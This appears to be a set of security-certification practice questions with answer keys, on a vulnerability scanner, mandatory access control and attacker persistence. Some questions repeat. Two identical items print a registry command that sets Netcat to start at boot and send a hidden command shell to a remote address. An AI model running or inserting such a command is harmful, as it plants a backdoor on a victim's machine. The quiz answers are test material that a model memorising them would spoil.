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Question 1
Question Type: MultipleChoice

Which of the following tools is described in the statement given below?

"It has a database containing signatures to be able to detect hundreds of vulnerabilities in UNIX, Windows, and commonly used web CGI

scripts. Moreover, the database detects DdoS zombies and Trojans as well."

Options: 
A) SARA

B) Nessus

C) Anti-x

D) Nmap

Answer: 
B

Question 2



Question Type: MultipleChoice

Which of the following controls is described in the statement given below?

"It ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. It secures

information by assigning sensitivity labels on information and comparing this to the level of security a user is operating at."

Options: 
A) Role-based Access Control

B) Attribute-based Access Control

C) Discretionary Access Control

D) Mandatory Access Control

Answer: 
D

Question 3
Question Type: MultipleChoice



You run the following command on the remote Windows server 2003 computer:

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d

"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"

What task do you want to perform by running this command?

Each correct answer represents a complete solution. Choose all that apply.

Options: 
A) You want to perform banner grabbing.

B) You want to set the Netcat to execute command any time.

C) You want to put Netcat in the stealth mode.

D) You want to add the Netcat command to the Windows registry.

Answer: 
B, C, D
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Question Type: MultipleChoice

You run the following command on the remote Windows server 2003 computer:

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d

"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"

What task do you want to perform by running this command?

Each correct answer represents a complete solution. Choose all that apply.

Options: 
A) You want to perform banner grabbing.

B) You want to set the Netcat to execute command any time.

C) You want to put Netcat in the stealth mode.

D) You want to add the Netcat command to the Windows registry.

Answer: 
B, C, D



Question 5
Question Type: MultipleChoice

Which of the following tools is described in the statement given below?

"It has a database containing signatures to be able to detect hundreds of vulnerabilities in UNIX, Windows, and commonly used web CGI

scripts. Moreover, the database detects DdoS zombies and Trojans as well."

Options: 
A) SARA

B) Nessus

C) Anti-x

D) Nmap

Answer: 
B
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Question Type: MultipleChoice

Which of the following controls is described in the statement given below?

"It ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. It secures

information by assigning sensitivity labels on information and comparing this to the level of security a user is operating at."

Options: 
A) Role-based Access Control

B) Attribute-based Access Control

C) Discretionary Access Control

D) Mandatory Access Control

Answer: 
D
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